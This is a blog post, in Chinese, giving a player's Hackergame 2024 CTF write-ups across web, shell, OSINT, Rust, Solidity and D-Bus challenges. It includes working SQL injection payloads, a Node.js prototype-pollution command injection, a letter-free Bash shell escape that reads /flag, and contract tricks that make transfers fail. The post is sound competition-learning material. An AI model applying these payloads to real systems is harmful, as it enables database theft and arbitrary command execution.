三咲智子 Kevin Deng

三咲智子 Kevin Deng

Gen Z | Full Stack Developer 🏳️‍🌈
github
twitter
twitter

HackerGame 2024 文章

寫在前面#

這幾天沉迷 Hackergame 2024,現在終於結束了! 🥳 我得了 39 名 / 2460 人(🔝1.5%)。

涉及的編程語言有:Python、C(當然,CTF 題目就是 C 和 python 的天下)、JavaScript、Bash、SQL、Rust。

文章略長,請善用 📖 TOC 目錄。(或直接跳到總結)

簽到#

直接點擊「馬上啟動」按鈕,會發現 URL 出現了 ?pass=false。把它改成 true 試試呢?噢通關了!

喜歡做簽到的 CTFer 你們好呀#

我先找到「中國科學技術大學校內 CTF 隊伍」是什麼,Google 得出是叫做「USTC-NEBULA」隊伍。繼續搜索即可得出「USTC NEBULA 2024 招新安排」的 GitHub 倉庫。點進 owner 的 profile,就可以得到它的官網。(不知道為何還有一個 USTC-NEBULA org)

Checkin Again & Again#

打開 Chrome DevTools 的 Network panel,直接搜索 flag 字樣。我們可以看到 oh-you-found-it。這表明 flag 就藏在這個頁面中。

image

觀察搜索到的這處的附近,可以發現一個正則表達式 /(-a|-al|-la)/i

image

嗯,好像是 ls -al,輸入這個命令,就可以看到有個 .flag 文件。直接 cat .flag 就能拿到 flag。

(P.S 好像複製不了?直接選擇元素,去 Elements panel 複製!💢)

提交看看,誒,不對啊!這怎麼是第二題的 flag!🤷

  • https://www.nebuu.la/
  • flag{0k_175_a_h1dd3n_s3c3rt_f14g___please_join_us_ustc_nebula_anD_two_maJor_requirements_aRe_shown_somewhere_else}

Checkin Again#

做完第二小題,我其實是有點懷疑第二題是不是這個頁面。為此我還去剛剛的招新安排頁面看了看,沒發現什麼。好吧,繼續回到網站。

繼續觀察剛剛的 js 文件,發現除了剛才找到的字符串,還有一個字符串也很長,還用 atob 包起來了!好,讓我運行一下康康。

好,本題結束!

  • flag{actually_theres_another_flag_here_trY_to_f1nD_1t_y0urself___join_us_ustc_nebula}

官方題解#

瞅了一眼官方的題解,發現比賽首頁就可以找到中科大校內戰隊的鏈接。好吧,網站的其他地方我都不看的 🤪

以及執行 help 命令其實可以看到有提供 env 命令,就直接拿到第一題的 flag。

貓咪問答(Hackergame 十周年紀念版)#

這題其實完全是考互聯網衝浪中的信息搜集了。

  1. 在 Hackergame 2015 比賽開始前一天晚上開展的賽前講座是在哪個教室舉行的?

經過了漫長的 Google 搜索,發現了 LUG 有個網站,記錄了很多活動的細節。我們可以在側邊欄看到「信息安全大賽」的頁面(也就是 Hackergame)。在活動記錄看到了往屆的信息,2017 是第四屆,倒推一下 2015 也就是第二屆。我們也就跳轉到了答案頁面

Note

3A204

  1. 眾所周知,Hackergame 共約 25 道題目。近五年(不含今年)舉辦的 Hackergame 中,題目數量最接近這個數字的那一屆比賽里有多少人註冊參加?

首先我們要知道 2019 ~ 2023 年比賽的題目數量。毫無技巧,純數數。去往屆的 writeup 數題目個數,算一下哪個最接近 25。然後會發現怎麼沒有 2019 的呢!?

繼續去互聯網信息搜集(俗稱 Google),找到了。但為什麼就不能放到一個 GitHub org 呢?(難道有什麼隱情 🫢)

通過計算發現 2019 年的最接近(寫 writeup 的現在已經不想一個一個算了)。

然後去搜索 hackergame 2019 註冊人數,發現 LUG 有新聞稿寫了 總共有 2682 人註冊

Note

2682

  1. Hackergame 2018 讓哪個熱門檢索詞成為了科大圖書館當月熱搜第一?

我們知道往屆的 writeups 會托管在 GitHub,那不如直接用 GitHub 的搜索引擎試試?搜索 hackergame 2018 圖書館 熱搜詞。本題結束。

Note

程序員的自我修養

  1. 在今年的 USENIX Security 學術會議上中國科學技術大學發表了一篇關於電子郵件偽造攻擊的論文,在論文中作者提出了 6 種攻擊方法,並在多少個電子郵件服務提供商及客戶端的組合上進行了實驗?

把關鍵詞提煉一下,用英語搜索下 USENIX Security 2024 email spoofing,Google 會幫我找到 PDF

一開始試了下 16 * 20 = 320,發現不對(P.S 這題不像前段時間清北的 Geekgame 2024,答題一次需要防沉迷一個小時)。

後來想了想,不對啊,一共是 16 個服務提供商 + 20 個客戶的。服務提供商自己都會提供客戶端給用戶的(比如說 Gmail 就有自己的 Web 和手机客户端)。那應該是 16 * 20 + 16=336

P.S 官方題解:其實論文里寫了,但我沒耐心一行一行看。

Note

336

  1. 10 月 18 日 Greg Kroah-Hartman 向 Linux 郵件列表提交的一個 patch 把大量開發者從 MAINTAINERS 文件中移除。這個 patch 被合併進 Linux mainline 的 commit id 是多少?

緊跟時事,前段時間網上衝浪有關注這個事件,所以找了一下瀏覽器歷史記錄。找到了之前訪問的 commit 頁面

Note

6e90b6

  1. 大語言模型會把輸入分解為一個個的 token 後繼續計算,請問這個網頁的 HTML 源代碼會被 Meta 的 Llama 3 70B 模型的 tokenizer 分解為多少個 token?
import { AutoTokenizer } from '@huggingface/transformers'

const content = await fetch('http://202.38.93.141:13030/', {
  headers: {
    Cookie: 'session=your-session',
  },
}).then((r) => r.text())

const tokenizer = await AutoTokenizer.from_pretrained(
  'meta-llama/Meta-Llama-3-70B',
)
const res = tokenizer.encode(content)
console.log(res.length)

為此,我還去 Hugging Face 申請了這個模型的權限。算出來是 1835,但這個答案其實是錯誤的。感覺大模型比較玄學,就 ±3 試了下。

Note

1833

好,做完了!

  • flag{Λ_9oØd_C@t_iS_7He_©aT_ωhO_cΛn_PαsS_tHe_qบ!2}
  • flag{t3И_¥eAЯ5_0ƒ_H@©keRg4M3_om3dE7ØU_WItH_n3Ko_qU1z}

打不开的盒#

這其實是我除了簽到,第一个解出的題目,一眼就感覺過於簡單。

把題目文件下載下來,發現 macOS 可以直接打開它(Thanks to Xcode)。通過不同視角觀察內部,可以得到 flag。不過 flag 的最後第二個字符還挺迷惑的,我試了大小寫字母 o 都不行,才試了下 0️⃣。

  • flag{Dr4W_Us!nG_fR3E_C4D!!w0W}

每日論文太多了!#

打開題目的論文鏈接,把 PDF 下載下來。直接用瀏覽器搜索 flag 就可以發現有結果,但是肉眼不可見。

那就得抄家伙了,打開討厭的 Adobe Acrobat,Edit PDF。找到搜索到 flag 的框框,copy 它告訴我們「flag here」。再細心點會發現,有個隱藏的圖片也在這,把它拖拽出來。

不過這個畫質真的是…… 一言難盡。又是 flag 中的 hacking,我試了 l 不行,大寫 i 不行。噢原來是 1️⃣。

好,做完了!

  • flag{h4PpY_hAck1ng_3veRyd4y}

比大小王#

我第二個做的題目,我的主場是 Web。

直接分析頁面源碼。發現它會把數據狀態存在一個全局變量 state 中。我們直接機算出所有 state.values。然後等倒數完成後,調用 submit 函數提交。

submit(state.values.map(([a, b]) => (a < b ? '<' : '>')))

旅行照片 4.0#

這個社工題對我來說還是有點難度的,不是很擅長。

LEO_CHAN?#

問題 1: 照片拍攝的位置距離中科大的哪個校門更近?(格式:X校區Y門,均為一個漢字)

直接在高德地圖(嗯,我不用百度地圖),搜索「科里科氣科創驛站」。會發現科大附近就有一個地方,那就決定是你啦!打開圖片一看,確實沒錯。

image image

Note

東校區西門

問題 2: 話說 Leo 酱上次出現在桁架上是…… 科大今年的 ACG 音樂會?活動日期我沒記錯的話是?(格式:YYYYMMDD

搜索 中科大 ACG 音樂會 不難找到「中科大 LEO 動漫協會」的 B 站賬號。挖掘視頻不難發現在這個視頻下的簡介。

Note

20240519

  • flag{5UB5CR1B3_T0_L30_CH4N_0N_B1L1B1L1_PLZ_??????????}

題外話:真羨慕高校生活呐

FULL_RECALL#

這題是小紅書的軟廣,是不是收了錢?

問題 3: 這個公園的名稱是什麼?(不需要填寫公園所在市區等信息)

打開第一張圖片,第一眼可以看到垃圾桶上寫著「六安園林」,還有就是彩虹跑道。搜索關鍵詞「六安 公園 彩虹」,就能發現新聞稿,所以應該是「中央公園」和「水上公園」二選一。但其實都不對,搜索「中央公園」可以發現全稱是「中央森林公園」

Note

中央森林公園

問題 4: 這個景觀所在的景點的名字是?(三個漢字)

拿著第二張圖片找了半天,還以為也是六安。沒想到「而且這兩張照片拍攝地的距離…… 是不是有點遠?」是這麼遠啊……

總之最後用小某書,找到了別人旅遊的圖文和視頻。

Note

壇子嶺

  • flag{D3T41LS_M4TT3R_1F_R3V3RS3_S34RCH_1S_1MP0SS1BL3_??????????}

OMINOUS_BELL#

問題 5: 距離拍攝地最近的醫院是?(無需包含院區、地名信息,格式:XXX 醫院)

問題 6: 左下角的動車組型號是?

這題對我這種對鐵路不懂和不感興趣的真的好難。但題目中提及了 四編組動車。去 Google 上找,不難發現 China EMU 這個網站。在這個頁面可以發現,它和圖片左下角的有點像,都是粉色的塗裝。所以型號就是 CRH6F-A

根據「懷密號」搜索,很容易找到 WikiPedia 上的介紹,可以知道它在北京北運營。接著根據它運行的線路,用 Google Earth 逐個尋找站點……(好累)。可以找到旁邊的醫院。

Note

積水潭醫院

CRH6F-A

  • flag{1_C4NT_C0NT1NU3_TH3_5T0RY_4NYM0R3_50M30N3_PLZ_H3LP_??????????}

不寬的寬字符#

我是 C/C++ 語言半吊子,所以靠的是 ChatGPT 打輔助告訴我代碼都是什么意思 🤡。

因為這個環境還要用到 Linux x86 + Wine 來模擬在 Windows 上的環境。M1 chip + macOS 真的好難跑起來,遂開了個阿里雲(廣告位招租)的雲電腦,下了個 Clion 跑起來了。現在環境已經揚了,所以只能靠我的記憶來回憶一下。

以我的知識大概知道:Windows 用的是坑爹的 UTF-16,每個字符占 2~3 個字節。但是普通的 char 只有一個字節。

我們再把 (char*)filename.c_str() 打印出來會發現,它會把一個 ASCII 字符拆成兩個字節。那我們只需要構造一個字符串,使得每個字拆開正好是 Z:\theflag 的 ASCII 字節。

const str = 'Z:\\theflag'
const arr = [...str]
let s = ''
for (let i = 0; i < arr.length; i += 2) {
  s += String.fromCharCode(
    parseInt(
      '0x' +
        arr[i + 1].charCodeAt(0).toString(16) +
        arr[i].charCodeAt(0).toString(16),
    ),
  )
}

console.log(s)

得到「㩚瑜敨汦條」,但我們需要用 \0 來截斷後面添加的 you_cant_get_the_flag。所以我們可以隨便找個以 00 結尾的四位字符,比如說 '\u5000'。我們就可以得到答案「㩚瑜敨汦條倀」。

  • flag{wider_char_isnt_so_great_??????????}

PowerfulShell#

我們首先看看還剩下什麼字符可以用,把鍵盤上看到的字符都打出來,然後刪掉不能用的。我們得到以下字符

`, [], {}, _, -, $, 1-9, :, =, +, ~

然後去看 Bash 教程,把能用的語法都記一記。

不能使用字母,那我們如何起一個變量名呢?_123456789 是可用的,也是合法的 varname。

這題我特意把做題的日誌存下來,直接看日誌吧。

PowerfulShell@hackergame> _1=~+                        // _1=/players
PowerfulShell@hackergame> _2=${_1:2:1}                 // _2=l
PowerfulShell@hackergame> _3=${_1:7:1}                 // _3=s
PowerfulShell@hackergame> $_2$_3                       // ls
PowerfulShell.sh
PowerfulShell@hackergame> _4=$[1-1]                    // _4=0
PowerfulShell@hackergame> $_2$_3 ${_1:_4:1}            // ls /
bin
boot
dev
etc
flag
home
lib
lib32
lib64
libx32
media
mnt
opt
players
proc
root
run
sbin
srv
sys
tmp
usr
var

PowerfulShell@hackergame> _5=`$_2$_3 ${_1:_4:1}`       // _5=`ls /` (也就是剛剛的結果)
PowerfulShell@hackergame> _6=${_5:15:1}                // _6=c
PowerfulShell@hackergame> _7=${_5:19:1}                // _7=a
PowerfulShell@hackergame> _8=${_5:7:1}                 // _8=t
PowerfulShell@hackergame> $_6$_7$_8 ${_1:_4:1}${_5:17} // cat /
flag{N0w_I_Adm1t_ur_tru1y_5He11_m4ster_??????????}
cat: home: No such file or directory
cat: lib: No such file or directory
cat: lib32: No such file or directory
cat: lib64: No such file or directory
cat: libx32: No such file or directory
cat: media: No such file or directory
cat: mnt: No such file or directory
cat: opt: No such file or directory
cat: players: No such file or directory
cat: proc: No such file or directory
cat: root: No such file or directory
cat: run: No such file or directory
cat: sbin: No such file or directory
cat: srv: No such file or directory
cat: sys: No such file or directory
cat: tmp: No such file or directory
cat: usr: No such file or directory
cat: var: No such file or directory
PowerfulShell@hackergame>

後記#

其實可以簡單點,~+ 就是 ~;我們可以直接用 bash 執行任意命令,比 cat / 更強大了。

所以,我又做了一遍。

PowerfulShell@hackergame> _1=~
PowerfulShell@hackergame> _2=${_1:2:1}
PowerfulShell@hackergame> _3=${_1:7:1}
PowerfulShell@hackergame> _4=`$_2$_3 ${_1:1-1:1}`
PowerfulShell@hackergame> _5=${_4:1-1:1}
PowerfulShell@hackergame> _6=${_4:19:1}
PowerfulShell@hackergame> _7=${_4:71-1:1}
PowerfulShell@hackergame> _8=${_4:22:1}
PowerfulShell@hackergame> $_5$_6$_7$_8
cat /flag
flag{N0w_I_Adm1t_ur_tru1y_5He11_m4ster_??????????}
  • flag{N0w_I_Adm1t_ur_tru1y_5He11_m4ster_??????????}

Node.js is Web Scale#

Web,熟悉的味道。

打開題目,我花了好久才注意到,最下面有個 View source code 的鏈接 🌚。好吧,我們來看看代碼怎麼寫的。

/execute 路由可以看到,它用了 execSync。那麼這裡應該就是突破口了。尤其是它的註釋寫了 obviously safe 來挑釁,只能是這裡了。

不過它執行的是 cmds 對象中預設好的命令,有什麼辦法我們可以增加新的命令嗎?尤其我們可以看到 /set 路由,它幫我們處理好了深層屬性的設置。噢,原型鏈攻擊!

const a = {}
a.__proto__.evil = 996
a.evil // 996

通過上面的代碼,可以注入一個 evil 的屬性到任意的對象中。所以我們只需要設置一次 key: __proto__.evil, value: ls /。然後訪問 /execute?cmd=evil,不難發現有個 flag 文件。把 value 改為 cat /flag,再訪問一遍就拿到 flag 了。

  • flag{n0_pr0topOIl_50_U5E_new_Map_1n5teAD_Of_0bject2kv_??????????}

PaoluGPT#

又是一個 Web 題目。

窺視未知#

先把題目下載下來,我們直接鎖定 main.py 的 67 行!

results = execute_query(f"select title, contents from messages where id = '{conversation_id}'")

很顯然,我們可以注入 SQL 語句。試試 /view?conversation_id=' or 1=1 --,果然沒問題。我們再看看源碼,首頁只顯示 shown = true 的記錄,所以我們看看 shown = false 的記錄。訪問 /view?conversation_id=' or shown=false --,拿到第二題的 flag!

等等,怎麼又是第二題的先做完 🤪!

  • flag{enJ0y_y0uR_Sq1_&_1_would_xiaZHOU_hUI_guo_??????????} (有 &amp; 記得要替換成 &

千里挑一#

那第一題怎麼辦?不知道,先把所有數據導出來看看再說!但 python 只把第一條數據取來了,我們可以通過 union select 構建出一個子查詢,加上 group_concat 把所有內容合併成一條數據,一起導出來!

' union select title, group_concat(contents, ' ') as contents from messages --

拿到內容可以發現,除了剛剛的 flag,還有一條 flag 藏在眾多的內容中。

  • flag{zU1_xiA0_de_11m_Pa0lule!!!_??????????}

強大的正則表達式#

數學題,我的天敵!不會做啊啊啊啊啊啊!

Easy#

通過 ChatGPT 可知,我們只需要關注最後四位數。

要在不使用四則運算和任何轉換的情況下計算十進制數對 16 取模(即 mod 16),我們可以利用十進制數的性質來簡化計算。具體來說,我們只需要關注十進制數的最後四位。這是因為 16 是 2 的 4 次方,所以一個十進制數的最後四位就足以確定其對 16 取模的結果。

所以只需要窮舉出所有 4 位數,然後找到 16 的倍數即可。

const arr = new Array(10000)
  .fill(0)
  .map((v, i) => i)
  .filter((v) => v % 16 === 0)
const grouped = Object.groupBy(arr, (v) => String(v).length)

let regex = '(0|1|2|3|4|5|6|7|8|9)*('
regex += grouped[2].map((v) => '00' + v).join('|')
regex += '|'
regex += grouped[3].map((v) => '0' + v).join('|')
regex += '|'
regex += grouped[4].join('|')
regex += ')'

console.log(regex)

把這個正則丟到題目環境里,就可以得出 flag。這題有了 GPT 的加持,不算難。

  • flag{p0werful_r3gular_expressi0n_easy_??????????}

Medium#

通過 Google 搜了一下,發現了有人問過類似的問題,不過倍數是 3,我們是 13。

再鏈接到了另一個問題,倍數是 7。有人的回答中提到了 DFA(確定有限狀態自動機)。也就是說我們可以用 DFA 來解決這個問題。接下來就要請出 ChatGPT 了。

prompt: 幫我構建一個狀態機:L = {w | w is a binary representation of an integer divisible by 13 }

GPT 幫我生成了一個表格來表示狀態機。

當前狀態輸入 0 時的狀態輸入 1 時的狀態
q0q0q1
q1q2q3
q2q4q5
q3q6q7
q4q8q9
q5q10q11
q6q12q0
q7q1q2
q8q3q4
q9q5q6
q10q7q8
q11q9q10
q12q11q12

然後我找到了 greenery 包,可以用來生成正則表達式。(不過要用舊版本的 v3 才行)

from greenery import fsm, lego

dfa = fsm.fsm(
    alphabet={"0", "1"},
    states={0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12},
    initial=0,
    finals={0},
    map={
        0: {"0": 0, "1": 1},
        1: {"0": 2, "1": 3},
        2: {"0": 4, "1": 5},
        3: {"0": 6, "1": 7},
        4: {"0": 8, "1": 9},
        5: {"0": 10, "1": 11},
        6: {"0": 12, "1": 0},
        7: {"0": 1, "1": 2},
        8: {"0": 3, "1": 4},
        9: {"0": 5, "1": 6},
        10: {"0": 7, "1": 8},
        11: {"0": 9, "1": 10},
        12: {"0": 11, "1": 12},
    },
)
print(lego.from_fsm(dfa))

生成的正則表達式包含 ?,我們需要把它替換成 *;把 {n} 展開,例如 1{2} 替換成 11

  • flag{pow3rful_r3gular_expressi0n_medium_??????????}

Hard#

這題真的不會做,參考官方題解

惜字如金 3.0#

好奇怪的東西。

題目 A#

有手就行,根據題目規則,補全即可。實在不會丟給 ChatGPT。

  • flag{C0mpl3ted-Th3-Pyth0n-C0de-N0w}

題目 B#

不會,參考官方題解

題目 C#

更不會,同上。

看不見的彼方:交換空間#

這題是我最後做的一題,但沒想到其實不難。

小菜一碟#

我們需要在最小利用資源的情況下,把 /home/pwn/A/space/file/home/pwn/B/space/file 交換,所以我這裡使用 Rust 來寫這個程序。雖然限制了 chroot,但我們可以通過 TCP 連接來實現通訊。

考慮到硬盤空間實際上用的是內存,我們不能同時持有兩個文件和兩個文件的副本。所以 Alice 和 Bob 都需要一邊讀取數據,一邊覆蓋掉發送出去的數據。

Alice#

我們讓 Alice 端成為 TCP server。Alice 會先打開文件,然後等待 Bob 連接。
當連接進來後,Alice 會先讀取文件的內容,然後發送給 Bob。同時也會接收 Bob 發來的數據,然後寫入到剛剛讀取的文件的位置。

// Alice
use std::{
    fs::OpenOptions,
    io::{Read, Write},
    net::TcpListener,
    os::unix::fs::FileExt,
};

fn main() -> std::io::Result<()> {
    let file = OpenOptions::new()
        .read(true)
        .write(true)
        .truncate(false)
        .open("/space/file")?;

    // start tcp server
    let listener = TcpListener::bind("127.0.0.1:8000")?;

    let mut tcp_stream = listener.incoming().next().unwrap()?;
    println!("Connection established: {:?}", tcp_stream);

    const BUFFER_SIZE: usize = 1024;
    let tcp_buf = &mut [0u8; BUFFER_SIZE];
    let file_buf = &mut [0u8; BUFFER_SIZE];
    let mut offset = 0;

    while file.read_exact_at(tcp_buf, offset).is_ok() {
        // read file
        file.read_exact_at(file_buf, offset).unwrap();
        tcp_stream.write_all(file_buf).unwrap();

        // write file
        tcp_stream.read_exact(file_buf).unwrap();
        file.write_all_at(file_buf, offset).unwrap();

        offset += BUFFER_SIZE as u64;
    }

    Ok(())
}

Bob#

幾乎就是 Alice 的反向操作。打開後先等一下,然後連接到 Alice。讀取文件內容,發送給 Alice。同時也會接收 Alice 發來的數據,然後寫入到剛剛讀取的文件的位置。

use std::{
    io::{Read, Write},
    os::unix::fs::FileExt,
    thread::sleep,
};

fn main() -> std::io::Result<()> {
    let file = std::fs::OpenOptions::new()
        .read(true)
        .write(true)
        .truncate(false)
        .open("/space/file")
        .unwrap();

    sleep(std::time::Duration::from_millis(500));

    let address = "127.0.0.1:8000";
    let mut stream = std::net::TcpStream::connect(address).unwrap();

    const BUFFER_SIZE: usize = 1024;
    let tcp_buf = &mut [0u8; BUFFER_SIZE];
    let file_buf = &mut [0u8; BUFFER_SIZE];

    let mut offset = 0;
    while stream.read_exact(tcp_buf).is_ok() {
        // read file
        file.read_exact_at(file_buf, offset).unwrap();
        stream.write_all(file_buf).unwrap();

        // file write
        file.write_all_at(tcp_buf, offset).unwrap();
        offset += BUFFER_SIZE as u64;
    }

    Ok(())
}
  • flag{just A p1ece 0f cake_??????????}

捉襟見肘#

和上一小題類似,我們用相同的方法先把文件交換過來。但不同的是,Alice 寫完之後需要把 file 拆成兩個文件。Bob 需要存完 file1 後,存到 file2 上覆蓋掉舊數據。

如果不這麼幹,Bob 文件上將存在 128 MiB 的 file1 和 64 MiB 的 file2。一共 192 MiB,這樣就會超出限制,內存會用尽。Alice 同理。

那最後我們要如何拆分或合併文件,而不會超出內存限制呢?螞蟻搬家!

對於合併,我們先把 file2 的前 1MiB 內容讀出來,然後寫到 file1 的末尾,接著依次按 1MiB 的大小讀取 file2 剩下的內容 (len + index),覆蓋到 file2 的 (0 + index) 的位置。再把 file2 的大小截斷到 size - len,直到最後 file2 的長度為 0。最後別忘了把 file1 硬連接到 file,這樣就不會有兩倍佔用,還不用一點一點拷貝過去了。

對於拆分,我們先把 file 的 64MiB 處的 1MiB 內容讀出來,然後寫到 file2 的末尾,接著依次按 1MiB 的大小讀取 file 剩下的內容 (1MiB + len + index),覆蓋到 file 的 (1MiB + 0 + index) 的位置。再把 file 的大小截斷到 size - len。同樣的,最後別忘了把 file 硬連接到 file1

fn remove_range(file: &mut File, range: Range<u64>) {
    let file_size = file.metadata().unwrap().len();
    const BUFFER_SIZE: usize = 1024 * 1024;
    let mut buffer = [0u8; BUFFER_SIZE];
    let mut offset = range.start;
    let len = range.end;

    while let Ok(n) = file.read_at(&mut buffer, offset + len) {
        if n == 0 {
            break;
        }
        file.write_all_at(&buffer[..n], offset).unwrap();
        offset += n as u64;
    }
    file.set_len(file_size - len).unwrap();
}

Alice#

use std::{
    fs::{self, File, OpenOptions},
    io::{Read, Write},
    net::TcpListener,
    os::unix::fs::FileExt,
};

fn main() -> std::io::Result<()> {
    println!("Hello, Alice here");

    let mut file = OpenOptions::new()
        .read(true)
        .write(true)
        .truncate(false)
        .open("/space/file")?;

    // start tcp server
    let address = "127.0.0.1:8000";
    let listener = TcpListener::bind(address)?;
    println!("Server started at {}", address);

    let mut tcp_stream = listener.incoming().next().unwrap()?;
    println!("Connection established: {:?}", tcp_stream);

    const BUFFER_SIZE: usize = 1024;
    let tcp_buf = &mut [0u8; BUFFER_SIZE];
    let file_buf = &mut [0u8; BUFFER_SIZE];
    let mut offset = 0;
    let file_size_128m = file.metadata().unwrap().len();
    let file_size_64m = file_size_128m / 2;

    while file.read_exact_at(tcp_buf, offset).is_ok() {
        // read file
        file.read_exact_at(file_buf, offset).unwrap();
        tcp_stream.write_all(file_buf).unwrap();

        // write file
        tcp_stream.read_exact(file_buf).unwrap();
        file.write_all_at(file_buf, offset).unwrap();

        offset += BUFFER_SIZE as u64;

        if offset == file_size_128m {
            break;
        }
    }

    let file2 = File::create("/space/file2")?;

    let mut offset = 0;
    const BUFFER_SIZE2: usize = 1024 * 1024;
    let file_buf = &mut [0u8; BUFFER_SIZE2];
    while let Ok(n) = file.read_at(file_buf, file_size_64m) {
        if n == 0 {
            break;
        }
        file2.write_all_at(&file_buf[..n], offset).unwrap();
        remove_range(&mut file, file_size_64m..n as u64);
        offset += n as u64;
    }

    // make hard link
    fs::hard_link("/space/file", "/space/file1").unwrap();

    println!("Done from Alice.");
    Ok(())
}

Bob#

對於 Bob,需要記得讀完 64MiB 後,切換到 file2 上。

use std::ops::Range;
use std::{fs, fs::File};
use std::{
    io::{Read, Write},
    os::unix::fs::FileExt,
    thread::sleep,
};

fn main() -> std::io::Result<()> {
    println!("Hello Bob here!");

    let path = "/space/file1";
    // let path = "b";
    let file1 = std::fs::OpenOptions::new()
        .read(true)
        .write(true)
        .truncate(false)
        .open(path)
        .unwrap();
    let path = "/space/file2";
    let mut file2 = std::fs::OpenOptions::new()
        .read(true)
        .write(true)
        .truncate(false)
        .open(path)
        .unwrap();
    let mut file = &file1;

    sleep(std::time::Duration::from_millis(500));
    // println!("wake up!");

    let address = "127.0.0.1:8000";
    let mut stream = std::net::TcpStream::connect(address).unwrap();
    // println!("Connected to Server: {:?}", stream);

    const BUFFER_SIZE: usize = 1024;
    let tcp_buf = &mut [0u8; BUFFER_SIZE];
    let file_buf = &mut [0u8; BUFFER_SIZE];

    let mut offset = 0;
    let file_size = file.metadata().unwrap().len();
    let packet_size = file_size * 2;

    while stream.read_exact(tcp_buf).is_ok() {
        if offset == 67108864 {
            file = &file2;
            println!("Bob: switch to file2");
        }

        // read file
        let file_offset = if offset >= 67108864 {
            offset - 67108864
        } else {
            offset
        };
        file.read_exact_at(file_buf, file_offset).unwrap();
        stream.write_all(file_buf).unwrap();

        // file write
        file.write_all_at(tcp_buf, file_offset).unwrap();

        offset += BUFFER_SIZE as u64;
        if offset == packet_size {
            break;
        }
    }

    let mut offset = 0;
    const BUFFER_SIZE2: usize = 1024 * 1024;
    let file_buf = &mut [0u8; BUFFER_SIZE2];
    while let Ok(n) = file2.read_at(file_buf, 0) {
        if n == 0 {
            break;
        }
        file1
            .write_all_at(&file_buf[..n], offset + file_size)
            .unwrap();
        remove_range(&mut file2, 0..n as u64);
        offset += n as u64;
    }
    println!("Bob: Done reading file1 {}", offset);

    // make hard link
    fs::hard_link("/space/file1", "/space/file").unwrap();

    println!("Done from Bob.");
    Ok(())
}
  • flag{fa1I0catiIling_1NChains_15fun_??????????}

後記#

看了下官方題解,其實用 Linux 的 fallocate(2) 會更簡單些,但我沒用過,所以就沒想到 🤣。

P.S Rust 萌新,比賽最後幾個小時做的,代碼寫得很爛,別噴!

ZFS 文件恢復#

不會,跳過。macOS 環境太難搭了。

參考官方題解

鏈上轉賬助手#

第一次做 Web 3 相關的題目,挺好玩的。惡補了一下 Solidity,然後就開始寫合約了。

首先要用到 Foundry 構建環境,需要安裝下。

轉賬失敗#

我們需要知道 Solidity / EVM 的一些知識。一個合約可以通過 fallbackreceive 函數在沒有匹配的函數簽名時接收以太幣,類似於一個鉤子函數。

如果我們在 receive 函數中報錯,那麼這筆交易就會失敗,從而導致所有的轉賬失敗。我們可以通過 revert 來回退交易。

// SPDX-License-Identifier: MIT

pragma solidity >=0.6.0 <0.9.0;

contract Sink {
    receive() external payable {
        revert();
    }
}

其實最考驗的是如何測試合約。可以通過下面的命令編譯合約,並拿到字節碼。(記得把 0x 去掉)

forge build my-flag1.sol
jq -r .bytecode.object < ./out/my-flag1.sol/Sink.json
  • flag{Tr4nsf3r_T0_c0nTracT_MaY_R3v3rt_??????????}

轉賬又失敗#

我們通過 diff 看到 challenge1.solchallenge2.sol 的區別,發現了多了 (bool success, ) = 來處理轉賬失敗的情況。所以我就搜了下,還有什麼可能會導致合約執行失敗。

想想在其他語言中,如果不顯式的 throw error,還有什麼可能會導致函數執行失敗呢?最簡單的就是死循環。

// SPDX-License-Identifier: MIT

pragma solidity >=0.6.0 <0.9.0;

contract Sink {
    receive() external payable {
        while (true) {}
    }
}

(感謝 Copilot 的幫助)

  • flag{Ple4se_L1m1t_y0uR_GAS_HaHa_??????????}

轉賬再失敗#

?奇怪的題目

這下合約限制了 receive 函數的 gas,無法在 receive 函數中耗尽 gas。經過一番搜索,我發現了一個叫做 returnbomb 的東西。通過返回一個很大的數組,可以在外部耗費很多 gas,導致交易失敗。

我找到了一個示例,決定稍作修改。

了解到 assembly 裡面是一個叫做 Yul 的語言,可以直接操作 EVM 指令。

我先按照示例,用 revert(0, 10000) 來測試,發現交易直接 revert 了。然後發現除了 revertreturn 也可以用來返回數據。我們可以通過 return 指令來返回數據,第一個參數是返回數據的起始位置,第二個參數是返回數據的長度。

我先試了 10000,發現交易仍然成功了。後來發現了個平台 Tenderly,可以用來調試合約。我發現 gas 還是有剩余的,但是如果返回的數據太大,就會導致 receive 函數調用失敗。所以我就一直增加返回數據的長度,直到整體交易失敗。

// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;

contract Sink {
    receive() external payable {
        assembly {
            // 50000 + 25000 - 25000 + 12500 - 12500 + 6250 + 3125 - 3125 + 1562 + 500
            return(0, 58312)
        }
    }
}
  • flag{Y0u_4re_Th3_M4sTeR_0f_EVM!!!_??????????}

不太分布式的軟總線#

題目說了一大堆,一句沒聽懂。讓我們有請,ChatGPT!

GPT 告訴我可以用 dbus-sendgdbus 來調用 DBus 方法。

我們可以先用 gdbus introspect 看看有哪些方法和參數,可以在 flagserver.c 找到下面的參數(其實 C 代碼也寫方法了,但這個比較直觀)。

gdbus introspect --system --dest cn.edu.ustc.lug.hack.FlagService --object-path /cn/edu/ustc/lug/hack/FlagService

What DBus Gonna Do?#

我們就直接調用 GetFlag1 方法就行了吧!

gdbus call --system \
           --dest cn.edu.ustc.lug.hack.FlagService \
           --object-path /cn/edu/ustc/lug/hack/FlagService \
           --method cn.edu.ustc.lug.hack.FlagService.GetFlag1

Error: GDBus.Error:org.freedesktop.DBus.Error.InvalidArgs: Type of message, ?()?, does not match expected type ?(s)?

噢不行,還需要傳遞一個參數。看了下 C 代碼,需要 Please give me flag1 作為參數。然後問了下 GPT 怎麼傳遞參數。

gdbus call --system \
           --dest cn.edu.ustc.lug.hack.FlagService \
           --object-path /cn/edu/ustc/lug/hack/FlagService \
           --method cn.edu.ustc.lug.hack.FlagService.GetFlag1 \
           "Please give me flag1"
  • flag{every_11nuxdeskT0pU5er_uSeDBUS_bUtn0NeknOwh0w_??????????}

If I Could Be A File Descriptor#

flagserver.c 中,我們可以看到 GetFlag2 方法,它需要一個文件描述符作為參數。文件描述符要怎麼在 bash 中創建呢?問 GPT 吧!

exec 3</path/to/file

好,說幹就幹!

touch /tmp/a
exec 3</tmp/a
gdbus call --system \
           --dest cn.edu.ustc.lug.hack.FlagService \
           --object-path /cn/edu/ustc/lug/hack/FlagService \
           --method cn.edu.ustc.lug.hack.FlagService.GetFlag2 \
           3

Error: GDBus.Error:org.gtk.GDBus.UnmappedGError.Quark._g_2dio_2derror_2dquark.Code3: Please don't give me a file on disk to trick me!

